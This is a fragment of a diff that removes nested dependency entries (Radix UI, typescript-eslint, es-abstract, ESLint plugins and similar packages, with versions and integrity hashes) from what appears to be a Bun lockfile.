- "@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
- "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
- "@radix-ui/react-label/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.4", "", { "dependencies": { "@radix-ui/react-slot": "1.2.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg=="],
-
- "@radix-ui/react-menu/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
- "@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
- "@radix-ui/react-select/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
-
- "@radix-ui/react-separator/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.4", "", { "dependencies": { "@radix-ui/react-slot": "1.2.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg=="],
-
- "@typescript-eslint/eslint-plugin/ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="],
-
- "@typescript-eslint/parser/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@typescript-eslint/project-service/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@typescript-eslint/type-utils/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@typescript-eslint/typescript-estree/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "@typescript-eslint/typescript-estree/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
-
- "@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@5.0.1", "", {}, "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA=="],
-
- "@vue/compiler-sfc/postcss": ["postcss@8.5.9", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-7a70Nsot+EMX9fFU3064K/kdHWZqGVY+BADLyXc8Dfv+mTLLVl6JzJpPaCZ2kQL9gIJvKXSLMHhqdRRjwQeFtw=="],
-
- "array.prototype.findlast/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "array.prototype.findlast/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "array.prototype.findlast/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "array.prototype.findlast/es-shim-unscopables": ["es-shim-unscopables@1.0.2", "", { "dependencies": { "hasown": "^2.0.0" } }, "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw=="],
-
- "array.prototype.tosorted/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "array.prototype.tosorted/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "array.prototype.tosorted/es-shim-unscopables": ["es-shim-unscopables@1.0.2", "", { "dependencies": { "hasown": "^2.0.0" } }, "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw=="],
-
- "c12/chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="],
-
- "c12/jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="],
-
- "chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
-
- "define-data-property/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "dunder-proto/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "es-abstract/es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="],
-
- "es-abstract/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "es-abstract/has-proto": ["has-proto@1.2.0", "", { "dependencies": { "dunder-proto": "^1.0.0" } }, "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ=="],
-
- "es-abstract/has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="],
-
- "es-abstract/internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
-
- "es-abstract/is-regex": ["is-regex@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g=="],
-
- "es-abstract/object.assign": ["object.assign@4.1.7", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0", "has-symbols": "^1.1.0", "object-keys": "^1.1.1" } }, "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw=="],
-
- "es-abstract/regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="],
-
- "es-abstract/safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="],
-
- "es-abstract/safe-regex-test": ["safe-regex-test@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-regex": "^1.2.1" } }, "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw=="],
-
- "es-iterator-helpers/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "es-iterator-helpers/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "es-iterator-helpers/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "es-set-tostringtag/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "eslint/js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="],
-
- "eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
-
- "eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
-
- "eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
-
- "eslint-plugin-import/doctrine": ["doctrine@2.1.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw=="],
-
- "eslint-plugin-import/eslint-module-utils": ["eslint-module-utils@2.12.1", "", { "dependencies": { "debug": "^3.2.7" } }, "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw=="],
-
- "eslint-plugin-import/is-core-module": ["is-core-module@2.16.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="],
-
- "eslint-plugin-import/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
-
- "eslint-plugin-jsx-a11y/array-includes": ["array-includes@3.1.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.4", "is-string": "^1.0.7" } }, "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap": ["array.prototype.flatmap@1.3.2", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "es-shim-unscopables": "^1.0.0" } }, "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ=="],
-
- "eslint-plugin-react/array-includes": ["array-includes@3.1.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.4", "is-string": "^1.0.7" } }, "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap": ["array.prototype.flatmap@1.3.2", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "es-shim-unscopables": "^1.0.0" } }, "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ=="],
-
- "eslint-plugin-react/doctrine": ["doctrine@2.1.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw=="],
-
- "eslint-plugin-react/object.values": ["object.values@1.2.0", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-yBYjY9QX2hnRmZHAjG/f13MzmBzxzYgQhFrke06TTyKY5zSTEqkOeukBzIdVA3j3ulu8Qa3MbVFShV7T2RmGtQ=="],
-
- "eslint-plugin-react/resolve": ["resolve@2.0.0-next.5", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA=="],
-
- "eslint-plugin-react/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
-
- "fast-glob/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
-
- "get-intrinsic/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "get-intrinsic/has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="],
-
- "global-prefix/which": ["which@1.3.1", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "which": "./bin/which" } }, "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ=="],
-
- "gopd/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "has-property-descriptors/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "import-fresh/resolve-from": ["resolve-from@4.0.0", "", {}, "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="],
-
- "is-finalizationregistry/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "is-regex/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "is-weakset/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "is-weakset/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "iterator.prototype/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
